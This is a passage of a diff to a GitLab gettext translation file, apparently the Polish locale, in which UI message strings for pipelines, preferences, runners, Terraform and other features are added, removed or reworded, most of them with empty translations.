+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19487,9 +19951,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19862,9 +20326,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19910,6 +20371,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19931,6 +20398,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20156,6 +20629,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20330,18 +20803,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20351,9 +20818,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20375,9 +20839,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20570,6 +21052,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20957,9 +21445,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21314,9 +21805,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21338,6 +21826,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22103,6 +22603,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22256,6 +22759,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22341,9 +22847,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22447,9 +22953,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22654,9 +23157,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22672,15 +23172,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22759,6 +23256,16 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22844,6 +23358,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22907,6 +23430,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23197,6 +23729,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "Przejrzyj proces celem konfiguracji dostawców usług u swojego dostawcy tożsamości - w tym przypadku GitLab jest \"dostawcą usług\" lub \"wierzycielem\"."
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "PrzeglÄ…d"
@@ -23328,6 +23869,9 @@ msgstr "Uruchom nieoznaczone zadania"
msgid "Runner cannot be assigned to other projects"
msgstr "Runner nie może być przypisany do innych projektów"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "Runner uruchamia zadania ze wszystkich nieprzypisanych projektów"
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23529,12 +24064,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23553,7 +24082,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23721,6 +24244,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24216,6 +24745,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24333,9 +24868,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24678,12 +25210,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24759,6 +25294,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24855,9 +25393,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24912,13 +25447,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,10 +25587,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25100,6 +25644,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25211,9 +25758,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25259,7 +25803,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25340,11 +25884,14 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "Coś poszło nie tak podczas ponownego otwierania %{issuable}. Spróbuj ponownie później"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "Coś poszło nie tak podczas rozwiązywania tej dyskusji. Spróbuj ponownie."
@@ -25625,10 +26172,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25652,6 +26199,9 @@ msgstr "Określ wzór regex adresu e-mail, aby zidentyfikować domyślnych użyt
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25769,9 +26319,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26108,6 +26670,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26156,6 +26721,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26330,6 +26898,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26540,6 +27108,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr "Warunki Użytkowania oraz Polityka Prywatności"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26651,6 +27255,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26748,9 +27355,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,12 +27364,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Certyfikat X509 służy do użycia w przypadku, gdy do komunikacji z zewnętrzną usługą autoryzacji jest wymagany wspólny TLS. Jeśli pozostanie puste, certyfikat serwera będzie nadal sprawdzany podczas uzyskiwania dostępu za pośrednictwem protokołu HTTPS."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26832,9 +27436,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27091,7 +27707,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "Akcja aktualizacji zakończy się po upływie %{number_of_minutes} minut. W przypadku dużych repozytoriów użyj kombinacji klonuj/pchnij."
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27103,9 +27719,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "Mapa użytkownika to mapowanie użytkowników FogBugz, którzy uczestniczyli w Twoich projektach, w celu zaimportowania ich adresów e-mail i nazw użytkowników do GitLab. Możesz to zmienić, wypełniając poniższą tabelę."
@@ -27121,6 +27734,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27208,6 +27824,9 @@ msgstr "Nie ma jeszcze projektów udostępnionych w tej grupie"
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
